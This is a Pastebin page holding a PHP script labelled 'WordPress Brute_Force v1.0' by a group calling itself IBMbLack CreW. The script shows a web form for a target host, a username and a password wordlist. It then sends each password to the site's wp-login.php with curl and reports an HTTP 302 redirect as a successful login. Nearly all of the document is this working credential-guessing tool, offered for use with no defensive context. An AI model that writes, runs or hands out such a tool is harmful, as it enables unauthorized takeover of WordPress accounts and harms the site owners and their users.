Guest User

Untitled

a guest
Apr 17th, 2017
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.10 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4.  
  5. class Wp{
  6.  
  7. private $host;
  8. private $user;
  9. private $open;
  10. private $lista;
  11.  
  12. public function banner() {
  13. echo("
  14. <html>
  15. <head>
  16. <title>Wp-Brute Force</title>
  17. <style type='text/css'>
  18. body{
  19. font-family:'Times New Roman';
  20. font-size:20px;
  21. background-color:#000000;
  22. color:#FFA500;
  23. font-style:Italic;
  24.  
  25. }
  26.  
  27. .ext{
  28. color: #00FFFF;
  29. }
  30.  
  31. .area{
  32. width:400px;
  33. height:350px;
  34. resize:none;
  35. }
  36.  
  37. </style>
  38. </head>
  39. <body>
  40. <h1><center>WordPress Brute_Force v1.0</center></h1>
  41. <form action='' method='POST'>
  42. <div align='right' class='ext'>Author: AdeRoot<br>
  43. IBMbLack CreW</div>
  44. Host:<input type='text' name='host' size='40'><br>
  45. User:<input type='text' name='user' size='25'><br>
  46. <center>Wordlist</center>
  47. <center><textarea class='area' name='lista'></textarea><br><br><center>
  48. <center><input type='Submit' value='Start'></center>
  49. </form>
  50. </body>
  51. </html>");
  52. }
  53.  
  54. public function extract_post() {
  55. $this->host = $_POST["host"];
  56. $this->user = $_POST["user"];
  57. $this->open = $_POST["lista"];
  58. }
  59.  
  60. public function Xregex() {
  61. if(preg_match("@/wp-login.php@", $this->host)) {
  62. return true;
  63. } else {
  64. $this->host = $_POST["host"]."/wp-login.php";
  65. }
  66. }
  67.  
  68. public function brute() {
  69. $lista = array_filter(explode("\n", $this->open));
  70. foreach($lista as $this->lista) {
  71. for($i=0; $i < count($this->lista); $i++) {
  72. $this->Xcurl();
  73. }
  74. }
  75. }
  76.  
  77. private function cool() {
  78. echo "Host:"."<font color='white'>{$this->host}</font>";
  79. echo " User:"."<font color='white'>{$this->user}</font>";
  80. echo " Pass:"."<font color='white'>{$this->lista}</font>";
  81. }
  82.  
  83. private function Xcurl() {
  84. $curl = curl_init();
  85. curl_setopt($curl, CURLOPT_URL, $this->host);
  86. curl_setopt($curl, CURLOPT_USERAGENT, $this->useragent);
  87. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  88. curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
  89. curl_setopt($curl, CURLOPT_POST, true);
  90. curl_setopt($curl, CURLOPT_POSTFIELDS, "log=$this->user&pwd=$this->lista&wp-submit=Login&redirect_to=$this->host/wp-admin/");
  91. $exec = curl_exec($curl);
  92. $http = curl_getinfo($curl, CURLINFO_HTTP_CODE);
  93. $this->cool();
  94. if($http == 302) {
  95. echo "<font color='#00FF00'> [+] Successfull!!</font><br>";
  96. break;
  97. } else {
  98. echo "<font color='red'>Failed</font><br>";
  99. }
  100. curl_close($curl);
  101. }
  102. }
  103.  
  104. $wp = new Wp();
  105. $wp->useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0";
  106. $wp->banner();
  107. $wp->extract_post();
  108. $wp->Xregex();
  109. $wp->brute();
  110. ?>
Add Comment
Please, Sign In to add comment